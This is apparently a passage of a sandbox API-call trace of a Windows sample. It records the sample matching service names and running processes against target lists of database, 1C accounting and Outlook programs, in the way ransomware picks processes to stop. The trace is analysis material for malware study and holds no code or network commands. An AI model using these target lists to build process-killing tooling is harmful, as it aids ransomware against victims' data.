[0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.858] lstrlenW (lpString="Netman") returned 6 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.858] lstrlenW (lpString="netprofm") returned 8 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.858] lstrlenW (lpString="NlaSvc") returned 6 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.858] lstrlenW (lpString="nsi") returned 3 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.858] lstrlenW (lpString="PcaSvc") returned 6 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.858] lstrlenW (lpString="PlugPlay") returned 8 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.858] lstrlenW (lpString="Power") returned 5 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.859] lstrlenW (lpString="ProfSvc") returned 7 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.859] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.859] lstrlenW (lpString="RpcSs") returned 5 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.859] lstrlenW (lpString="SamSs") returned 5 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.859] lstrlenW (lpString="Schedule") returned 8 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.859] lstrlenW (lpString="SENS") returned 4 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.859] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.859] lstrlenW (lpString="Spooler") returned 7 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.859] lstrlenW (lpString="SysMain") returned 7 [0036.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.860] lstrlenW (lpString="Themes") returned 6 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.860] lstrlenW (lpString="TrkWks") returned 6 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.860] lstrlenW (lpString="UxSms") returned 5 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.860] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.860] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.860] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.860] lstrlenW (lpString="Winmgmt") returned 7 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.860] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.860] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x395a708 | out: hHeap=0x880000) returned 1 [0036.860] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0036.863] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.863] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.863] lstrlenW (lpString="System") returned 6 [0036.863] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.864] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.864] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.864] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.864] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.864] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.864] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.864] lstrlenW (lpString="smss.exe") returned 8 [0036.864] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.864] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.864] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.864] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.864] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.864] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.864] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.864] lstrlenW (lpString="csrss.exe") returned 9 [0036.864] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.865] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.865] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.865] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.865] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.865] lstrlenW (lpString="wininit.exe") returned 11 [0036.865] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.865] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.865] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.865] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.865] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.865] lstrlenW (lpString="csrss.exe") returned 9 [0036.865] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.865] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.866] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.866] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.866] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.866] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.866] lstrlenW (lpString="winlogon.exe") returned 12 [0036.866] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.866] lstrlenW (lpString="services.exe") returned 12 [0036.866] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.867] lstrlenW (lpString="lsass.exe") returned 9 [0036.867] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.867] lstrlenW (lpString="lsm.exe") returned 7 [0036.867] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.867] lstrlenW (lpString="svchost.exe") returned 11 [0036.867] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.868] lstrlenW (lpString="svchost.exe") returned 11 [0036.868] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.868] lstrlenW (lpString="svchost.exe") returned 11 [0036.868] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.869] lstrlenW (lpString="svchost.exe") returned 11 [0036.869] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.869] lstrlenW (lpString="svchost.exe") returned 11 [0036.869] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.870] lstrlenW (lpString="audiodg.exe") returned 11 [0036.870] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.870] lstrlenW (lpString="svchost.exe") returned 11 [0036.870] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.870] lstrlenW (lpString="svchost.exe") returned 11 [0036.870] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.871] lstrlenW (lpString="dwm.exe") returned 7 [0036.871] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.871] lstrlenW (lpString="explorer.exe") returned 12 [0036.871] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.871] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.871] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.872] lstrlenW (lpString="taskhost.exe") returned 12 [0036.872] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.872] lstrlenW (lpString="svchost.exe") returned 11 [0036.872] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.872] lstrlenW (lpString="taskeng.exe") returned 11 [0036.872] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0036.873] lstrlenW (lpString="judges-present.exe") returned 18 [0036.873] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0036.873] lstrlenW (lpString="physics.exe") returned 11 [0036.873] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0036.874] lstrlenW (lpString="belongs.exe") returned 11 [0036.874] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0036.874] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0036.874] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0036.874] lstrlenW (lpString="gadgets.exe") returned 11 [0036.874] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0036.875] lstrlenW (lpString="geneva.exe") returned 10 [0036.875] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0036.875] lstrlenW (lpString="elephant.exe") returned 12 [0036.875] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0036.875] lstrlenW 